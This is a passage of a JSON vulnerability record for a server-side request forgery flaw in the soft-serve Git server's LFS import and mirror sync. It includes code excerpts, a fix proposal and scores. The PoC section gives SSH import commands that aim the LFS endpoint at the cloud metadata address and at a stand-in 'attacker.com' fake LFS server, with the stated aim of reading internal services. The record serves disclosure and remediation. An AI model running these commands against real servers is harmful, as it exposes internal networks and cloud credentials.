new repo name (which is normal during import -- you're creating it), `AccessLevelForUser` hits this path:\n\n```go\n// pkg/backend/user.go:94-100\nif user != nil {\n    // If the repository doesn't exist, the user has read/write access.\n    if anon > access.ReadWriteAccess {\n        return anon\n    }\n\n    return access.ReadWriteAccess\n}\n```\n\nThis is by design -- any authenticated user can create repos via import or push (same model as Gitea/Gogs). The point isn't that the access control is wrong, just that any valid SSH key is enough to trigger the SSRF.\n\n**3. Endpoint flows to the LFS client unvalidated** (`pkg/backend/repo.go:170-194`)\n\n```go\n// pkg/backend/repo.go:170-173\nendpoint := remote\nif opts.LFSEndpoint != \"\" {\n    endpoint = opts.LFSEndpoint\n}\n```\n\nWhen `opts.LFSEndpoint` is non-empty, it overrides the remote URL entirely. No URL validation, no IP check. It then flows through:\n\n```go\n// pkg/backend/repo.go:182-194\nep, err := lfs.NewEndpoint(endpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := StoreRepoMissingLFSObjects(ctx, r, d.db, d.store, client); err != nil {\n```\n\n`lfs.NewEndpoint` does URL parsing only -- no SSRF validation. `lfs.NewClient` calls `newHTTPClient`.\n\n**4. HTTP client has no protection** (`pkg/lfs/http_client.go:24-31`)\n\n```go\n// pkg/lfs/http_client.go:24-31\nfunc newHTTPClient(endpoint Endpoint) *httpClient {\n    return &httpClient{\n        client:   http.DefaultClient,\n        endpoint: endpoint,\n        transfers: map[string]TransferAdapter{\n            TransferBasic: &BasicTransferAdapter{http.DefaultClient},\n        },\n    }\n}\n```\n\nBoth the batch client and the `BasicTransferAdapter` use `http.DefaultClient` -- no SSRF protection, no IP validation, follows redirects. Compare with the webhook client that was added in v0.11.1:\n\n```go\n// pkg/webhook/webhook.go:42-76 -- the protected version\nvar secureHTTPClient = &http.Client{\n    Timeout: 30 * time.Second,\n    Transport: &http.Transport{\n        DialContext: func(ctx context.Context, network, addr string) (net.Conn, error) {\n            host, _, err := net.SplitHostPort(addr)\n            // ...\n            ip := net.ParseIP(host)\n            if ip != nil {\n                if err := ValidateIPBeforeDial(ip); err != nil {\n                    return nil, fmt.Errorf(\"blocked connection to private IP: %w\", err)\n                }\n            }\n            // ...\n        },\n    },\n    CheckRedirect: func(*http.Request, []*http.Request) error {\n        return http.ErrUseLastResponse\n    },\n}\n```\n\n**How the attack chains together:**\n\n*Stage 1 -- blind SSRF:* The server sends a POST to `<attacker-endpoint>/objects/batch` (see `http_client.go:57`). If the endpoint is a cloud metadata service like `http://169.254.169.254/latest/meta-data/`, the response won't be valid JSON, so the batch request fails with a parse error. The request is still sent though -- the attacker can confirm reachability via timing or error differentiation.\n\n*Stage 2 -- reading internal responses via fake LFS server:* If the attacker hosts a fake LFS server that returns valid batch responses, the `BasicTransferAdapter` follows the download URLs from the response:\n\n```go\n// pkg/lfs/basic_transfer.go:71-89\nfunc (a *BasicTransferAdapter) performRequest(ctx context.Context, method string, l *Link, body io.Reader, callback func(*http.Request)) (*http.Response, error) {\n    // ...\n    req, err := http.NewRequestWithContext(ctx, method, l.Href, body)  // l.Href from batch response\n    // ...\n    res, err := a.client.Do(req)  // a.client is http.DefaultClient\n```\n\nThe `l.Href` field comes from the attacker's batch response. The `a.client` is the same unprotected `http.DefaultClient`. So the fake LFS server can point download URLs at internal targets like `http://169.254.169.254/latest/api/token` or `http://10.0.0.1:8080/admin`, and the response bodies get written to LFS object storage on disk. Since the attacker just created the repo and has read access, they can retrieve the stored objects through the normal LFS download API.\n\n**Mirror sync persistence:** When a repo is imported with `--lfs-endpoint`, the URL is persisted in the repo's git config at `lfs.url` (`repo.go:175`). If imported as a mirror (`--mirror`), the periodic sync job reads this config and uses the same unprotected LFS client:\n\n```go\n// pkg/jobs/mirror.go:94-111\nlfsEndpoint := rcfg.Section(\"lfs\").Option(\"url\")\nif lfsEndpoint == \"\" {\n    return\n}\n\nep, err := lfs.NewEndpoint(lfsEndpoint)\n// ...\nclient := lfs.NewClient(ep)\n// ...\nif err := backend.StoreRepoMissingLFSObjects(ctx, repo, dbx, datastore, client); err != nil {\n```\n\nA single `--mirror --lfs --lfs-endpoint <internal-url>` import creates persistent SSRF that repeats on every mirror sync without further interaction.\n\n**Two notes:**\n\n- The batch request only fires if the imported repo contains LFS pointer blobs (checked via `SearchPointerBlobs`). The attacker needs to import a repo that has LFS objects -- easy to arrange with your own repo, but worth noting.\n- The import path in `repo.go` does not check the global `cfg.LFS.Enabled` flag -- it always processes LFS when the `--lfs` flag is passed. The mirror path (`mirror.go:87`) does gate on `cfg.LFS.Enabled`. So the import vector works regardless of server-level LFS configuration.\n\n**Protection comparison:**\n\n| Layer | Webhooks (v0.11.1+) | LFS import/mirror |\n|---|---|---|\n| URL validation at input | `ValidateWebhookURL()` | None |\n| Custom HTTP transport | `secureHTTPClient` with `ValidateIPBeforeDial` | `http.DefaultClient` |\n| Redirect blocking | `CheckRedirect` returns `http.ErrUseLastResponse` | Default (follows redirects) |\n| DNS rebinding protection | IP checked at dial time | None |\n\n**Affected versions:**\n\n- Introduced in v0.6.0 (commit `ea6b9a4` added `--lfs-endpoint` flag)\n- Still present in v0.11.3+ (current `main`)\n- Not fixed by v0.11.1 webhook SSRF patch (GHSA-vwq2-jx9q-9h9f) -- that fix only covers `pkg/webhook/`, not `pkg/lfs/`\n\n**Suggested fix:**\n\nThe existing SSRF protections in `pkg/webhook/validator.go` and `pkg/webhook/webhook.go` are thorough and well-tested. The cleanest fix would be to extract them to a shared internal package and apply them to the LFS client:\n\n1. Replace `http.DefaultClient` in `pkg/lfs/http_client.go` with a secure client using `ValidateIPBeforeDial` in the transport and `http.ErrUseLastResponse` in `CheckRedirect` -- matching the webhook pattern.\n2. Validate the endpoint URL in `pkg/backend/repo.go` (before `lfs.NewEndpoint`) and `pkg/jobs/mirror.go` (before creating the client) using the same checks `ValidateWebhookURL` performs.\n\nBoth layers matter -- URL validation catches the obvious cases, `ValidateIPBeforeDial` at connection time catches DNS rebinding.\n\n\n### PoC\n\nBased on code review. These haven't been run against a live instance, but the data flow from `--lfs-endpoint` to `http.DefaultClient.Do()` is straightforward:\n\n```bash\n# Blind SSRF -- server POSTs to metadata endpoint (JSON parse will fail, but request is sent)\nssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/\n\n# Reading internal responses via fake LFS server\n# 1. Host a server at attacker.com that responds to POST /objects/batch\n#    with a valid BatchResponse containing download URLs pointing at internal targets\n# 2. Import with that endpoint\nssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo \\\n  --lfs --lfs-endpoint http://attacker.com/fake-lfs/\n```\n\n### Impact\n\nAny authenticated SSH user (any valid SSH key) can make the server send HTTP requests to arbitrary destinations, including internal networks and cloud metadata services.\n\nConcrete impact:\n- **Port scanning / service discovery:** Confirm reachability of internal hosts via timing and error responses\n- **Cloud credential theft:** Access cloud metadata endpoints (169.254.169.254) -- full credential extraction is possible through the fake-LFS-server chain unless IMDSv2 or equivalent is enforced\n- **Internal API access:** Read responses from internal services by routing LFS download URLs through the pipeline\n- **Persistence:** Mirror imports repeat the SSRF on every scheduled sync without further user action\n\n\nReported by Vinayak Mishra\nGitHub: @vnykmshr",
                    "title": "github - https://api.github.com/advisories/GHSA-3fvx-xrxq-8jvv"
                },
                {
                    "category": "description",
                    "text": "soft-serve vulnerable to SSRF via unvalidated LFS endpoint in repo import in github.com/charmbracelet/soft-serve",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4634.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "Soft Serve is a self-hostable Git server for the command line. From version 0.6.0 to before version 0.11.4, an authenticated SSH user can force the server to make HTTP requests to internal/private IP addresses by running repo import with a crafted --lfs-endpoint URL. The initial batch request is blind (the response from a metadata endpoint won't parse as valid LFS JSON), but an attacker hosting a fake LFS server can chain this into full read access to internal services by returning download URLs that point at internal targets. This issue has been patched in version 0.11.4.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-30832.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00049",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "3.5",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "Is related to (a version of) an uncommon product, Is related to an uncommon product vendor, There is exploit data available from source Nvd",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5767827",
                    "CSAFPID-5799308",
                    "CSAFPID-3818029",
                    "CSAFPID-3818030",
                    "CSAFPID-3818031",
                    "CSAFPID-3818032",
                    "CSAFPID-3818033",
                    "CSAFPID-3818034",
                    "CSAFPID-3818035",
                    "CSAFPID-3818036",
                    "CSAFPID-3818037",
                    "CSAFPID-3818038",
                    "CSAFPID-3818039",
                    "CSAFPID-5100411",
                    "CSAFPID-5100412",
                    "CSAFPID-5100413",
                    "CSAFPID-5100414",
                    "CSAFPID-5100415",
                    "CSAFPID-5100416",
                    "CSAFPID-5175195",
                    "CSAFPID-5181438",
                    "CSAFPID-5362940",
                    "CSAFPID-5458972",
                    "CSAFPID-5909375"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-3fvx-xrxq-8jvv"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-3fvx-xrxq-8jvv"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-3fvx-xrxq-8jvv.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30832"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-30832"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-30832"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/30xxx/CVE-2026-30832.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-30832"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-3fvx-xrxq-8jvv"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4634.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-30832.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/charmbracelet/soft-serve/security/advisories/GHSA-3fvx-xrxq-8jvv"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/charmbracelet/soft-serve/commit/3ef660098ab37a7950457da8ecc25b516e37ce4e"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/charmbracelet/soft-serve/releases/tag/v0.11.4"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-3fvx-xrxq-8jvv"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30832"
                },
                {
                    "category": "external",
                    "summary": "Reference - osv",
                    "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30832.json"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
                        "baseScore": 9.1,
                        "baseSeverity": "CRITICAL"
                    },
                    "products": [
                        "CSAFPID-3818029",
                        "CSAFPID-3818030",
                        "CSAFPID-3818031",
                        "CSAFPID-3818032",
                        "CSAFPID-3818033",
                        "CSAFPID-3818034",
                        "CSAFPID-3818035",
                        "CSAFPID-3818036",
                        "CSAFPID-3818037",
                        "CSAFPID-3818038",
                        "CSAFPID-3818039",
                        "CSAFPID-5100411",
                        "CSAFPID-5100412",
                        "CSAFPID-5100413",
                        "CSAFPID-5100414",
                        "CSAFPID-5100415",
                        "CSAFPID-5100416",
                        "CSAFPID-5175195",
                        "CSAFPID-5181438",
                        "CSAFPID-5362940",
                        "CSAFPID-5458972",
                        "CSAFPID-5767827",
                        "CSAFPID-5799308",
                        "CSAFPID-5909375"
                    ]
                }
            ],
            "title": "CVE-2026-30832"
        }
    ]
}